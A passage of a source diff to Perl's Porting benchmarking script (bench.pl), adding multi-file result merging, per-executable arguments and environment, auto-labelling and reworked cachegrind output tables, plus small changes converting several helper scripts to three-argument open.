+ unless ($name =~ /^[a-zA-Z]\w*(::\w+)*$/) {
+ die "Error: '$file': invalid test name: '$name'\n";
+ }
+
+ for (sort keys %$hash) {
+ die "Error: '$file': invalid key '$_' for test '$name'\n"
+ unless exists $valid{$_};
+ }
+
+ # make description default to the code
+ $hash->{desc} = $hash->{code} unless exists $hash->{desc};
+ }
+ }
+
my @orig_order;
for (my $i=0; $i < @$ta; $i += 2) {
push @orig_order, $ta->[$i];
@@ -451,23 +653,40 @@ sub read_tests_file {
}
-# Process the perl/column argument of options like --norm and --sort.
-# Return the index of the matching perl.
+# Process the perl name/label/column argument of options like --norm and
+# --sort. Return the index of the matching perl.
sub select_a_perl {
my ($perl, $perls, $who) = @_;
+ $perls ||= [];
+ my $n = @$perls;
+
+ if ($perl =~ /^-([0-9]+)$/) {
+ my $p = $1;
+ die "Error: $who value $perl outside range -1..-$n\n"
+ if $p < 1 || $p > $n;
+ return $n - $p;
+ }
- if ($perl =~ /^[0-9]$/) {
+ if ($perl =~ /^[0-9]+$/) {
die "Error: $who value $perl outside range 0.." . $#$perls . "\n"
- unless $perl < @$perls;
+ unless $perl < $n;
return $perl;
}
else {
my @perl = grep $perls->[$_][0] eq $perl
|| $perls->[$_][1] eq $perl,
0..$#$perls;
- die "Error: $who: unrecognised perl '$perl'\n"
- unless @perl;
+ unless (@perl) {
+ my $valid = '';
+ for (@$perls) {
+ $valid .= " $_->[1]";
+ $valid .= " $_->[0]" if $_->[0] ne $_->[1];
+ $valid .= "\n";
+ }
+ die "Error: $who: unrecognised perl '$perl'\n"
+ . "Valid perl names are:\n$valid";
+ }
die "Error: $who: ambiguous perl '$perl'\n"
if @perl > 1;
return $perl[0];
@@ -475,36 +694,195 @@ sub select_a_perl {
}
-# Validate the list of perl=label on the command line.
-# Return a list of [ exe, label ] pairs.
+# Validate the list of perl executables on the command line.
+# The general form is
+#
+# a_perl_exe[=label] [ --args='perl args'] [ --env='FOO=foo' ]
+#
+# Return a list of [ exe, label, {env}, 'args' ] tuples
+
+sub process_executables_list {
+ my ($read_perls, @cmd_line_args) = @_;
+
+ my @results; # returned, each item is [ perlexe, label, {env}, 'args' ]
+ my %seen_from_reads = map { $_->[1] => 1 } @$read_perls;
+ my %seen;
+ my @labels;
+
+ while (@cmd_line_args) {
+ my $item = shift @cmd_line_args;
+
+ if ($item =~ /^--(.*)$/) {
+ my ($switch, $val) = split /=/, $1, 2;
+ die "Error: unrecognised executable switch '--$switch'\n"
+ unless $switch =~ /^(args|env)$/;
+
+ die "Error: --$switch without a preceding executable name\n"
+ unless @results;
+
+ unless (defined $val) {
+ $val = shift @cmd_line_args;
+ die "Error: --$switch is missing value\n"
+ unless defined $val;
+ }
+
+ if ($switch eq 'args') {
+ $results[-1][3] .= " $val";
+ }
+ else {
+ # --env
+ $val =~ /^(\w+)=(.*)$/
+ or die "Error: --env is missing =value\n";
+ $results[-1][2]{$1} = $2;
+ }
+
+ next;
+ }
+
+ # whatever is left must be the name of an executable
+
+ my ($perl, $label) = split /=/, $item, 2;
+ push @labels, $label;
+ unless ($OPTS{autolabel}) {
+ $label //= $perl;
+ $label = $perl.$label if $label =~ /^\+/;
+ }
+
+ die "Error: duplicate label '$label': "
+ . "each executable must have a unique label\n"
+ if defined $label && $seen{$label}++;
+
+ die "Error: duplicate label '$label': "
+ . "seen both in --read file and on command line\n"
+ if defined $label && $seen_from_reads{$label};
-sub process_perls {
- my @results;
- for my $p (@_) {
- my ($perl, $label) = split /=/, $p, 2;
- $label //= $perl;
my $r = qx($perl -e 'print qq(ok\n)' 2>&1);
- die "Error: unable to execute '$perl': $r" if $r ne "ok\n";
- push @results, [ $perl, $label ];
+ die "Error: unable to execute '$perl': $r\n" if $r ne "ok\n";
+
+ push @results, [ $perl, $label, { }, '' ];
+ }
+
+ # make args '' by default
+ for (@results) {
+ push @$_, '' unless @$_ > 3;
+ }
+
+ if ($OPTS{autolabel}) {
+
+ # create a list of [ 'perl-path', $i ] pairs for all
+ # $results[$i] which don't have a label
+ my @labels;
+ for (0..$#results) {
+ push @labels, [ $results[$_][0], $_ ]
+ unless defined $results[$_][1];
+ }
+
+ if (@labels) {
+ # strip off common prefixes
+ my $pre = '';
+ STRIP_PREFIX:
+ while (length $labels[0][0]) {
+ my $c = substr($labels[0][0], 0, 1);
+ for my $i (1..$#labels) {
+ last STRIP_PREFIX if substr($labels[$i][0], 0, 1) ne $c;
+ }
+ substr($labels[$_][0], 0, 1) = '' for 0..$#labels;
+ $pre .= $c;
+ }
+ # add back any final "version-ish" prefix
+ $pre =~ s/^.*?([0-9\.]*)$/$1/;
+ substr($labels[$_][0], 0, 0) = $pre for 0..$#labels;
+
+ # strip off common suffixes
+ my $post = '';
+ STRIP_SUFFFIX:
+ while (length $labels[0][0]) {
+ my $c = substr($labels[0][0], -1, 1);
+ for my $i (1..$#labels) {
+ last STRIP_SUFFFIX if substr($labels[$i][0], -1, 1) ne $c;
+ }
+ chop $labels[$_][0] for 0..$#labels;
+ $post = "$c$post";
+ }
+ # add back any initial "version-ish" suffix
+ $post =~ s/^([0-9\.]*).*$/$1/;
+ $labels[$_][0] .= $post for 0..$#labels;
+
+ # avoid degenerate empty string for single executable name
+ $labels[0][0] = '0' if @labels == 1 && !length $labels[0][0];
+
+ # if the auto-generated labels are plain integers, prefix
+ # them with 'p' (for perl) to distinguish them from column
+ # indices (otherwise e.g. --norm=2 is ambiguous)
+
+ if ($labels[0][0] =~ /^\d*$/) {
+ $labels[$_][0] = "p$labels[$_][0]" for 0..$#labels;
+ }
+
+ # now de-duplicate labels
+
+ my (%seen, %index);
+ $seen{$read_perls->[$_][1]}++ for 0..$#$read_perls;
+ $seen{$labels[$_][0]}++ for 0..$#labels;
+
+ for my $i (0..$#labels) {
+ my $label = $labels[$i][0];
+ next unless $seen{$label} > 1;
+ my $d = length($label) ? '-' : '';
+ my $n = $index{$label} // 0;
+ $n++ while exists $seen{"$label$d$n"};
+ $labels[$i][0] .= "$d$n";
+ $index{$label} = $n + 1;
+ }
+
+ # finally, store them
+ $results[$_->[1]][1]= $_->[0] for @labels;
+ }
}
+
+
return @results;
}
-# Return a string containing perl test code wrapped in a loop
-# that runs $ARGV[0] times
+# Return a string containing a perl program which runs the benchmark code
+# $ARGV[0] times. If $body is true, include the main body (setup) in
+# the loop; otherwise create an empty loop with just pre and post.
+# Note that an empty body is handled with '1;' so that a completely empty
+# loop has a single nextstate rather than a stub op, so more closely
+# matches the active loop; e.g.:
+# {1;} => nextstate; unstack
+# {$x=1;} => nextstate; const; gvsv; sassign; unstack
+# Note also that each statement is prefixed with a label; this avoids
+# adjacent nextstate ops being optimised away.
+#
+# A final 1; statement is added so that the code is always in void
+# context.
+#
+# It the compile flag is set for a test, the body of the loop is wrapped in
+# eval 'sub { .... }' to measure compile time rather than execution time
sub make_perl_prog {
- my ($test, $desc, $setup, $code) = @_;
+ my ($name, $test, $body) = @_;
+ my ($desc, $setup, $code, $pre, $post, $compile) =
+ @$test{qw(desc setup code pre post compile)};
+
+ $setup //= '';
+ $pre = defined $pre ? "_PRE_: $pre; " : "";
+ $post = defined $post ? "_POST_: $post; " : "";
+ $code = $body ? $code : "1";
+ $code = "_CODE_: $code; ";
+ my $full = "$pre$code$post _CXT_: 1; ";
+ $full = "eval q{sub { $full }};" if $compile;
return <<EOF;
# $desc
-package $test;
+package $name;
BEGIN { srand(0) }
$setup;
for my \$__loop__ (1..\$ARGV[0]) {
- $code;
+ $full
}
EOF
}
@@ -563,10 +941,11 @@ sub parse_cachegrind {
# Handle the 'grind' action
sub do_grind {
- my ($perl_args) = @_; # the residue of @ARGV after option processing
+ my ($cmd_line_args) = @_; # the residue of @ARGV after option processing
- my ($loop_counts, $perls, $results, $tests, $order);
+ my ($loop_counts, $perls, $results, $tests, $order, @run_perls);
my ($bisect_field, $bisect_min, $bisect_max);
+ my ($done_read, $processed, $averages, %seen_labels);
if (defined $OPTS{bisect}) {
($bisect_field, $bisect_min, $bisect_max) = split /,/, $OPTS{bisect}, 3;
@@ -583,48 +962,125 @@ sub do_grind {
if $bisect_min > $bisect_max;
}
- if (defined $OPTS{read}) {
- open my $in, '<:encoding(UTF-8)', $OPTS{read}
- or die " Error: can't open $OPTS{read} for reading: $!\n";
+ # Read in previous benchmark results
+
+ foreach my $file (@{$OPTS{read}}) {
+ open my $in, '<:encoding(UTF-8)', $file
+ or die "Error: can't open '$file' for reading: $!\n";
my $data = do { local $/; <$in> };
close $in;
my $hash = JSON::PP::decode_json($data);
if (int($FORMAT_VERSION) < int($hash->{version})) {
die "Error: unsupported version $hash->{version} in file"
- . "'$OPTS{read}' (too new)\n";
+ . " '$file' (too new)\n";
}
- ($loop_counts, $perls, $results, $tests, $order) =
+ my ($read_loop_counts, $read_perls, $read_results, $read_tests, $read_order) =
@$hash{qw(loop_counts perls results tests order)};
- filter_tests($results);
- filter_tests($tests);
+ # check file contents for consistency
+ my $k_o = join ';', sort @$read_order;
+ my $k_r = join ';', sort keys %$read_results;
+ my $k_t = join ';', sort keys %$read_tests;
+ die "File '$file' contains no results\n" unless length $k_r;
+ die "File '$file' contains differing test and results names\n"
+ unless $k_r eq $k_t;
+ die "File '$file' contains differing test and sort order names\n"
+ unless $k_o eq $k_t;
+
+ # delete tests not matching --tests= criteria, if any
+ filter_tests($read_results);
+ filter_tests($read_tests);
+
+ for my $perl (@$read_perls) {
+ my $label = $perl->[1];
+ die "Error: duplicate label '$label': seen in file '$file'\n"
+ if exists $seen_labels{$label};
+ $seen_labels{$label}++;
+ }
- if (!$order) {
- $order = [ sort keys %$tests ];
+ if (!$done_read) {
+ ($loop_counts, $perls, $results, $tests, $order) =
+ ($read_loop_counts, $read_perls, $read_results, $read_tests, $read_order);
+ $done_read = 1;
+ }
+ else {
+ # merge results across multiple files
+
+ if ( join(';', sort keys %$tests)
+ ne join(';', sort keys %$read_tests))
+ {
+ my $err = "Can't merge multiple read files: "
+ . "they contain differing test sets.\n";
+ if ($OPTS{verbose}) {
+ $err .= "Previous tests:\n";
+ $err .= " $_\n" for sort keys %$tests;
+ $err .= "tests from '$file':\n";
+ $err .= " $_\n" for sort keys %$read_tests;
+ }
+ else {
+ $err .= "Re-run with --verbose to see the differences.\n";
+ }
+ die $err;
+ }
+
+ if ("@$read_loop_counts" ne "@$loop_counts") {
+ die "Can't merge multiple read files: differing loop counts:\n"
+ . " (previous=(@$loop_counts), "
+ . "'$file'=(@$read_loop_counts))\n";
+ }
+
+ push @$perls, @{$read_perls};
+ foreach my $test (keys %{$read_results}) {
+ foreach my $label (keys %{$read_results->{$test}}) {
+ $results->{$test}{$label}= $read_results->{$test}{$label};
+ }
+ }
}
}
- else {
- # How many times to execute the loop for the two trials. The lower
- # value is intended to do the loop enough times that branch
- # prediction has taken hold; the higher loop allows us to see the
- # branch misses after that
- $loop_counts = [10, 20];
+ die "Error: --benchfile cannot be used when --read is present\n"
+ if $done_read && defined $OPTS{benchfile};
- ($tests, $order) = read_tests_file($OPTS{benchfile});
- die "Error: only a single test may be specified with --bisect\n"
- if defined $OPTS{bisect} and keys %$tests != 1;
+ # Gather list of perls to benchmark:
- $perls = [ process_perls(@$perl_args) ];
+ if (@$cmd_line_args) {
+ unless ($done_read) {
+ # How many times to execute the loop for the two trials. The lower
+ # value is intended to do the loop enough times that branch
+ # prediction has taken hold; the higher loop allows us to see the
+ # branch misses after that
+ $loop_counts = [10, 20];
+ ($tests, $order) =
+ read_tests_file($OPTS{benchfile} // 't/perf/benchmarks');
+ }
- $results = grind_run($tests, $order, $perls, $loop_counts);
+ @run_perls = process_executables_list($perls, @$cmd_line_args);
+ push @$perls, @run_perls;
}
- # now that we have a list of perls, use it to process the
- # 'perl' component of the --norm and --sort args
+ # strip @$order to just the actual tests present
+ $order = [ grep exists $tests->{$_}, @$order ];
+
+ # Now we know what perls and tests we have, do extra option processing
+ # and checking (done before grinding, so time isn't wasted if we die).
+
+ if (!$perls or !@$perls) {
+ die "Error: nothing to do: no perls to run, no data to read.\n";
+ }
+ if (@$perls < 2 and $OPTS{show} and !$OPTS{raw}) {
+ die "Error: need at least 2 perls for comparison.\n"
+ }
+
+ if ($OPTS{bisect}) {
+ die "Error: exactly one perl executable must be specified for bisect\n"
+ unless @$perls == 1;
+ die "Error: only a single test may be specified with --bisect\n"
+ unless keys %$tests == 1;
+ }
$OPTS{norm} = select_a_perl($OPTS{norm}, $perls, "--norm");
+
if (defined $OPTS{'sort-perl'}) {
$OPTS{'sort-perl'} =
select_a_perl($OPTS{'sort-perl'}, $perls, "--sort");
@@ -634,6 +1090,17 @@ sub do_grind {
$OPTS{'compact'} =
select_a_perl($OPTS{'compact'}, $perls, "--compact");
}
+
+
+ # Run the benchmarks; accumulate with any previously read # results.
+
+ if (@run_perls) {
+ $results = grind_run($tests, $order, \@run_perls, $loop_counts, $results);
+ }
+
+
+ # Handle the 3 forms of output
+
if (defined $OPTS{write}) {
my $json = JSON::PP::encode_json({
version => $FORMAT_VERSION,
@@ -645,28 +1112,19 @@ sub do_grind {
});
open my $out, '>:encoding(UTF-8)', $OPTS{write}
- or die " Error: can't open $OPTS{write} for writing: $!\n";
+ or die "Error: can't open '$OPTS{write}' for writing: $!\n";
print $out $json or die "Error: writing to file '$OPTS{write}': $!\n";
close $out or die "Error: closing file '$OPTS{write}': $!\n";
}
- else {
- my ($processed, $averages) =
+
+ if ($OPTS{show} or $OPTS{bisect}) {
+ # numerically process the raw data
+ ($processed, $averages) =
grind_process($results, $perls, $loop_counts);
+ }
- if (defined $OPTS{bisect}) {
- my @r = values %$results;
- die "Panic: expected exactly one test result in bisect\n"
- if @r != 1;
- @r = values %{$r[0]};
- die "Panic: expected exactly one perl result in bisect\n"
- if @r != 1;
- my $c = $r[0]{$bisect_field};
- die "Panic: no result in bisect for field '$bisect_field'\n"
- unless defined $c;
- exit 0 if $bisect_min <= $c and $c <= $bisect_max;
- exit 1;
- }
- elsif (defined $OPTS{compact}) {
+ if ($OPTS{show}) {
+ if (defined $OPTS{compact}) {
grind_print_compact($processed, $averages, $OPTS{compact},
$perls, $tests, $order);
}
@@ -674,6 +1132,24 @@ sub do_grind {
grind_print($processed, $averages, $perls, $tests, $order);
}
}
+
+ if ($OPTS{bisect}) {
+ # these panics shouldn't happen if the bisect checks above are sound
+ my @r = values %$results;
+ die "Panic: expected exactly one test result in bisect\n"
+ if @r != 1;
+ @r = values %{$r[0]};
+ die "Panic: expected exactly one perl result in bisect\n"
+ if @r != 1;
+ my $c = $r[0]{$bisect_field};
+ die "Panic: no result in bisect for field '$bisect_field'\n"
+ unless defined $c;
+
+ print "Bisect: $bisect_field had the value $c\n";
+
+ exit 0 if $bisect_min <= $c and $c <= $bisect_max;
+ exit 1;
+ }
}
@@ -682,7 +1158,7 @@ sub do_grind {
# Return a hash ref suitable for input to grind_process()
sub grind_run {
- my ($tests, $order, $perls, $counts) = @_;
+ my ($tests, $order, $perls, $counts, $results) = @_;
# Build a list of all the jobs to run
@@ -691,31 +1167,30 @@ sub grind_run {
for my $test (grep $tests->{$_}, @$order) {
# Create two test progs: one with an empty loop and one with code.
- # Note that the empty loop is actually '{1;}' rather than '{}';
- # this causes the loop to have a single nextstate rather than a
- # stub op, so more closely matches the active loop; e.g.:
- # {1;} => nextstate; unstack
- # {$x=1;} => nextstate; const; gvsv; sassign; unstack
my @prog = (
- make_perl_prog($test, @{$tests->{$test}}{qw(desc setup)}, '1'),
- make_perl_prog($test, @{$tests->{$test}}{qw(desc setup code)}),
+ make_perl_prog($test, $tests->{$test}, 0),
+ make_perl_prog($test, $tests->{$test}, 1),
);
for my $p (@$perls) {
- my ($perl, $label) = @$p;
+ my ($perl, $label, $env, $args) = @$p;
# Run both the empty loop and the active loop
# $counts->[0] and $counts->[1] times.
for my $i (0,1) {
for my $j (0,1) {
- my $cmd = "PERL_HASH_SEED=0 "
+ my $envstr = '';
+ if (ref $env) {
+ $envstr .= "$_=$env->{$_} " for sort keys %$env;
+ }
+ my $cmd = "PERL_HASH_SEED=0 $envstr"
. "valgrind --tool=cachegrind --branch-sim=yes "
. "--cachegrind-out-file=/dev/null "
. "$OPTS{grindargs} "
- . "$perl $OPTS{perlargs} - $counts->[$j] 2>&1";
+ . "$perl $OPTS{perlargs} $args - $counts->[$j] 2>&1";
# for debugging and error messages
- my $id = "$test/$perl "
+ my $id = "$test/$label "
. ($i ? "active" : "empty") . "/"
. ($j ? "long" : "short") . " loop";
@@ -742,7 +1217,6 @@ sub grind_run {
my $running = 0; # count of executing jobs
my %pids; # map pids to jobs
my %fds; # map fds to jobs
- my %results;
my $select = IO::Select->new();
while (@jobs or $running) {
@@ -843,7 +1317,7 @@ sub grind_run {
. "Output\n$o";
}
- $results{$j->{test}}{$j->{perl}}[$j->{active}][$j->{loopix}]
+ $results->{$j->{test}}{$j->{plabel}}[$j->{active}][$j->{loopix}]
= parse_cachegrind($output, $j->{id}, $j->{perl});
}
@@ -866,7 +1340,7 @@ sub grind_run {
}
}
- return \%results;
+ return $results;
}
@@ -875,7 +1349,7 @@ sub grind_run {
# grind_process(): process the data that has been extracted from
# cachgegrind's output.
#
-# $res is of the form ->{benchmark_name}{perl_name}[active][count]{field_name},
+# $res is of the form ->{benchmark_name}{perl_label}[active][count]{field_name},
# where active is 0 or 1 indicating an empty or active loop,
# count is 0 or 1 indicating a short or long loop. E.g.
#
@@ -890,8 +1364,8 @@ sub grind_run {
#
# return \%output, \%averages, where
#
-# $output{benchmark_name}{perl_name}{field_name} = N
-# $averages{perl_name}{field_name} = M
+# $output{benchmark_name}{perl_label}{field_name} = N
+# $averages{perl_label}{field_name} = M
#
# where N is the raw count ($OPTS{raw}), or count_perl0/count_perlI otherwise;
# M is the average raw count over all tests ($OPTS{raw}), or
@@ -902,9 +1376,9 @@ sub grind_process {
# Process the four results for each test/perf combo:
# Convert
- # $res->{benchmark_name}{perl_name}[active][count]{field_name} = n
+ # $res->{benchmark_name}{perl_label}[active][count]{field_name} = n
# to
- # $res->{benchmark_name}{perl_name}{field_name} = averaged_n
+ # $res->{benchmark_name}{perl_label}{field_name} = averaged_n
#
# $r[0][1] - $r[0][0] is the time to do ($counts->[1]-$counts->[0])
# empty loops, eliminating startup time
@@ -932,7 +1406,7 @@ sub grind_process {
my %counts;
my %data;
- my $perl_norm = $perls->[$OPTS{norm}][0]; # the name of the reference perl
+ my $perl_norm = $perls->[$OPTS{norm}][1]; # the label of the reference perl
for my $test_name (keys %$res) {
my $res1 = $res->{$test_name};
@@ -1057,7 +1531,7 @@ sub sorted_test_names {
unless ($OPTS{average}) {
if (defined $OPTS{'sort-field'}) {
my ($field, $perlix) = @OPTS{'sort-field', 'sort-perl'};
- my $perl = $perls->[$perlix][0];
+ my $perl = $perls->[$perlix][1];
@names = sort
{
$results->{$a}{$perl}{$field}
@@ -1076,118 +1550,141 @@ sub sorted_test_names {
}
+# format one cell data item
+
+sub grind_format_cell {
+ my ($val, $width) = @_;
+ my $s;
+ if (!defined $val) {
+ return sprintf "%*s", $width, '-';
+ }
+ elsif (abs($val) >= 1_000_000) {
+ # avoid displaying very large numbers (which might be the
+ # result of e.g. 1 / 0.000001)
+ return sprintf "%*s", $width, 'Inf';
+ }
+ elsif ($OPTS{raw}) {
+ return sprintf "%*.1f", $width, $val;
+ }
+ else {
+ return sprintf "%*.2f", $width, $val * 100;
+ }
+}
+
# grind_print(): display the tabulated results of all the cachegrinds.
#
# Arguments are of the form:
-# $results->{benchmark_name}{perl_name}{field_name} = N
-# $averages->{perl_name}{field_name} = M
+# $results->{benchmark_name}{perl_label}{field_name} = N
+# $averages->{perl_label}{field_name} = M
# $perls = [ [ perl-exe, perl-label ], ... ]
# $tests->{test_name}{desc => ..., ...}
+# $order = [ 'foo::bar1', ... ] # order to display tests
sub grind_print {
my ($results, $averages, $perls, $tests, $order) = @_;
my @perl_names = map $_->[0], @$perls;
+ my @perl_labels = map $_->[1], @$perls;
my %perl_labels;
$perl_labels{$_->[0]} = $_->[1] for @$perls;
- my $field_label_width = 6;
- # Calculate the width to display for each column.
- my $min_width = $OPTS{raw} ? 8 : 6;
- my @widths = map { length($_) < $min_width ? $min_width : length($_) }
- @perl_labels{@perl_names};
-
# Print standard header.
grind_blurb($perls);
my @test_names = sorted_test_names($results, $order, $perls);
+ my @fields = qw(Ir Dr Dw COND IND
+ COND_m IND_m
+ Ir_m1 Dr_m1 Dw_m1
+ Ir_mm Dr_mm Dw_mm
+ );
+
+ if ($OPTS{fields}) {
+ @fields = grep exists $OPTS{fields}{$_}, @fields;
+ }
+
# If only a single field is to be displayed, use a more compact
# format with only a single line of output per test.
- my $one_field = defined $OPTS{fields} && keys(%{$OPTS{fields}}) == 1;
+ my $one_field = @fields == 1;
- if ($one_field) {
- print "Results for field " . (keys(%{$OPTS{fields}}))[0] . ".\n";
+ # The width of column 0: this is either field names, or for
+ # $one_field, test names
- # The first column will now contain test names rather than
- # field names; Calculate the max width.
+ my $width0 = 0;
+ for ($one_field ? @test_names : @fields) {
+ $width0 = length if length > $width0;
+ }
- $field_label_width = 0;
- for (@test_names) {
- $field_label_width = length if length > $field_label_width;
- }
+ # Calculate the widths of the data columns
- # Print the perl executables header.
+ my @widths = map length, @perl_labels;
- print "\n";
- for my $i (0,1) {
- print " " x $field_label_width;
- for (0..$#widths) {
- printf " %*s", $widths[$_],
- $i ? ('-' x$widths[$_]) : $perl_labels{$perl_names[$_]};
+ for my $test (@test_names) {
+ my $res = ($test eq 'AVERAGE') ? $averages : $results->{$test};
+ for my $field (@fields) {
+ for my $i (0..$#widths) {
+ my $l = length grind_format_cell(
+ $res->{$perl_labels[$i]}{$field}, 1);
+ $widths[$i] = $l if $l > $widths[$i];
}
- print "\n";
}
}
- # Dump the results for each test.
+ # Print the results for each test
- for my $test_name (@test_names) {
+ for my $test (0..$#test_names) {
+ my $test_name = $test_names[$test];
my $doing_ave = ($test_name eq 'AVERAGE');
- my $res1 = $doing_ave ? $averages : $results->{$test_name};
+ my $res = $doing_ave ? $averages : $results->{$test_name};
+
+ # print per-test header
- unless ($one_field) {
+ if ($one_field) {
+ print "\nResults for field $fields[0]\n\n" if $test == 0;
+ }
+ else {
print "\n$test_name";
print "\n$tests->{$test_name}{desc}" unless $doing_ave;
print "\n\n";
+ }
- # Print the perl executables header.
+ # Print the perl executable names header.
+
+ if (!$one_field || $test == 0) {
for my $i (0,1) {
- print " " x $field_label_width;
+ print " " x $width0;
for (0..$#widths) {
printf " %*s", $widths[$_],
- $i ? ('-' x$widths[$_]) : $perl_labels{$perl_names[$_]};
+ $i ? ('-' x$widths[$_]) : $perl_labels[$_];
}
print "\n";
}
}
- for my $field (qw(Ir Dr Dw COND IND
- N
- COND_m IND_m
- N
- Ir_m1 Dr_m1 Dw_m1
- N
- Ir_mm Dr_mm Dw_mm
- ))
- {
- next if $OPTS{fields} and ! exists $OPTS{fields}{$field};
+ my $field_suffix = '';
- if ($field eq 'N') {
- print "\n";
- next;
- }
+ # print a line of data
+ for my $field (@fields) {
if ($one_field) {
- printf "%-*s", $field_label_width, $test_name;
+ printf "%-*s", $width0, $test_name;
}
else {
- printf "%*s", $field_label_width, $field;
+ # If there are enough fields, print a blank line
+ # between groups of fields that have the same suffix
+ if (@fields > 4) {
+ my $s = '';
+ $s = $1 if $field =~ /(_\w+)$/;
+ print "\n" if $s ne $field_suffix;
+ $field_suffix = $s;
+ }
+ printf "%*s", $width0, $field;
}
for my $i (0..$#widths) {
- my $res2 = $res1->{$perl_names[$i]};
- my $p = $res2->{$field};
- if (!defined $p) {
- printf " %*s", $widths[$i], '-';
- }
- elsif ($OPTS{raw}) {
- printf " %*.1f", $widths[$i], $p;
- }
- else {
- printf " %*.2f", $widths[$i], $p * 100;
- }
+ print " ", grind_format_cell($res->{$perl_labels[$i]}{$field},
+ $widths[$i]);
}
print "\n";
}
@@ -1201,18 +1698,15 @@ sub grind_print {
# which perl to display.
#
# Arguments are of the form:
-# $results->{benchmark_name}{perl_name}{field_name} = N
-# $averages->{perl_name}{field_name} = M
+# $results->{benchmark_name}{perl_label}{field_name} = N
+# $averages->{perl_label}{field_name} = M
# $perls = [ [ perl-exe, perl-label ], ... ]
# $tests->{test_name}{desc => ..., ...}
+# $order = [ 'foo::bar1', ... ] # order to display tests
sub grind_print_compact {
my ($results, $averages, $which_perl, $perls, $tests, $order) = @_;
-
- # the width to display for each column.
- my $width = $OPTS{raw} ? 7 : 6;
-
# Print standard header.
grind_blurb($perls);
@@ -1232,31 +1726,48 @@ sub grind_print_compact {
@fields = grep exists $OPTS{fields}{$_}, @fields;
}
- printf " %*s", $width, $_ for @fields;
+ # calculate the the max width of the test names
+
+ my $name_width = 0;
+ for (@test_names) {
+ $name_width = length if length > $name_width;
+ }
+
+ # Calculate the widths of the data columns
+
+ my @widths = map length, @fields;
+
+ for my $test (@test_names) {
+ my $res = ($test eq 'AVERAGE') ? $averages : $results->{$test};
+ $res = $res->{$perls->[$which_perl][1]};
+ for my $i (0..$#fields) {
+ my $l = length grind_format_cell($res->{$fields[$i]}, 1);
+ $widths[$i] = $l if $l > $widths[$i];
+ }
+ }
+
+ # Print header
+
+ printf " %*s", $widths[$_], $fields[$_] for 0..$#fields;
print "\n";
- printf " %*s", $width, '------' for @fields;
+ printf " %*s", $_, ('-' x $_) for @widths;
print "\n";
+ # Print the results for each test
+
for my $test_name (@test_names) {
my $doing_ave = ($test_name eq 'AVERAGE');
my $res = $doing_ave ? $averages : $results->{$test_name};
- $res = $res->{$perls->[$which_perl][0]};
-
- for my $field (@fields) {
- my $p = $res->{$field};
- if (!defined $p) {
- printf " %*s", $width, '-';
- }
- elsif ($OPTS{raw}) {
- printf " %*.1f", $width, $p;
- }
- else {
- printf " %*.2f", $width, $p * 100;
- }
-
+ $res = $res->{$perls->[$which_perl][1]};
+ my $desc = $doing_ave
+ ? $test_name
+ : sprintf "%-*s %s", $name_width, $test_name,
+ $tests->{$test_name}{desc};
+
+ for my $i (0..$#fields) {
+ print " ", grind_format_cell($res->{$fields[$i]}, $widths[$i]);
}
-
- print " $test_name\n";
+ print " $desc\n";
}
}
@@ -1315,8 +1826,10 @@ EOF
},
);
- for ('t', '.') {
- last if require "$_/test.pl";
+ for ('./t', '.') {
+ my $t = "$_/test.pl";
+ next unless -f $t;
+ require $t;
}
plan(@tests / 3 * keys %VALID_FIELDS);
diff --git a/gnu/usr.bin/perl/Porting/check83.pl b/gnu/usr.bin/perl/Porting/check83.pl
index 64eac95b891..fbe56555898 100644
--- a/gnu/usr.bin/perl/Porting/check83.pl
+++ b/gnu/usr.bin/perl/Porting/check83.pl
@@ -45,7 +45,7 @@ sub eight_dot_three {
my %dir;
-if (open(MANIFEST, "MANIFEST")) {
+if (open(MANIFEST, '<', 'MANIFEST')) {
while (<MANIFEST>) {
chomp;
s/\s.+//;
diff --git a/gnu/usr.bin/perl/Porting/checkVERSION.pl b/gnu/usr.bin/perl/Porting/checkVERSION.pl
index 9ad2ff54d88..d63c34ec2e0 100644
--- a/gnu/usr.bin/perl/Porting/checkVERSION.pl
+++ b/gnu/usr.bin/perl/Porting/checkVERSION.pl
@@ -24,7 +24,7 @@ sub parse_file {
my $result;
- open(FH,$parsefile) or warn "Could not open '$parsefile': $!";
+ open(FH,'<',$parsefile) or warn "Could not open '$parsefile': $!";
my $inpod = 0;
while (<FH>) {
diff --git a/gnu/usr.bin/perl/Porting/checkansi.pl b/gnu/usr.bin/perl/Porting/checkansi.pl
index c072b28e2c8..f16691aa3a4 100755
--- a/gnu/usr.bin/perl/Porting/checkansi.pl
+++ b/gnu/usr.bin/perl/Porting/checkansi.pl
@@ -50,7 +50,7 @@ for my $k (keys %{$limits{$opt{std}}}) {
find(sub {
/\.([ch]|xs)$/ or return;
- my $fh = IO::File->new($_) or die "$_: $!\n";
+ my $fh = IO::File->new($_, 'r') or die "$_: $!\n";
my $ll = '';
while (defined(my $line = <$fh>)) {
diff --git a/gnu/usr.bin/perl/Porting/checkcfguse.pl b/gnu/usr.bin/perl/Porting/checkcfguse.pl
index af3dd12cb1e..986d4f90411 100755
--- a/gnu/usr.bin/perl/Porting/checkcfguse.pl
+++ b/gnu/usr.bin/perl/Porting/checkcfguse.pl
@@ -47,7 +47,7 @@ my @PAT =
print STDERR "$0: Looking for symbols...\n";
for my $pat (@PAT) {
for my $fn (map { glob($_) } @{ $pat->[0] }) {
- if (open(my $fh, $fn)) {
+ if (open(my $fh, '<', $fn)) {
while (<$fh>) {
for my $p (@$pat) {
for my $sym (/$p/g) {
@@ -70,7 +70,7 @@ delete $SYM{'const'};
my $SYM = join("|", sort { length($b) <=> length($a) || $a cmp $b } keys %SYM);
-open(my $mani, "MANIFEST") or die "$0: Failed to open MANIFEST\n";
+open(my $mani, '<', "MANIFEST") or die "$0: Failed to open MANIFEST\n";
my %found;
while (<$mani>) {
@@ -80,7 +80,7 @@ while (<$mani>) {
# from metaconfig generated files that refer to
# the config symbols, and from pods.
next if $fn =~ m{^(?:config_h.SH|Configure|configure\.com|Porting/(?:config|Glossary)|(?:NetWare|plan9|win32)/(?:config|(?:GNU)?[Mm]akefile)|uconfig)|\.pod$};
- open my $fh, $fn or die qq[$0: Failed to open $fn: $!];
+ open my $fh, '<', $fn or die qq[$0: Failed to open $fn: $!];
while (<$fh>) {
while (/\b($SYM)\b/go) {
$found{$1}{$fn}++;
diff --git a/gnu/usr.bin/perl/Porting/config_h.pl b/gnu/usr.bin/perl/Porting/config_h.pl
index 82f40d9fa02..8ac15824a2a 100755
--- a/gnu/usr.bin/perl/Porting/config_h.pl
+++ b/gnu/usr.bin/perl/Porting/config_h.pl
@@ -15,7 +15,7 @@ use strict;
use warnings;
my ($cSH, $ch, @ch, %ch) = ("config_h.SH");
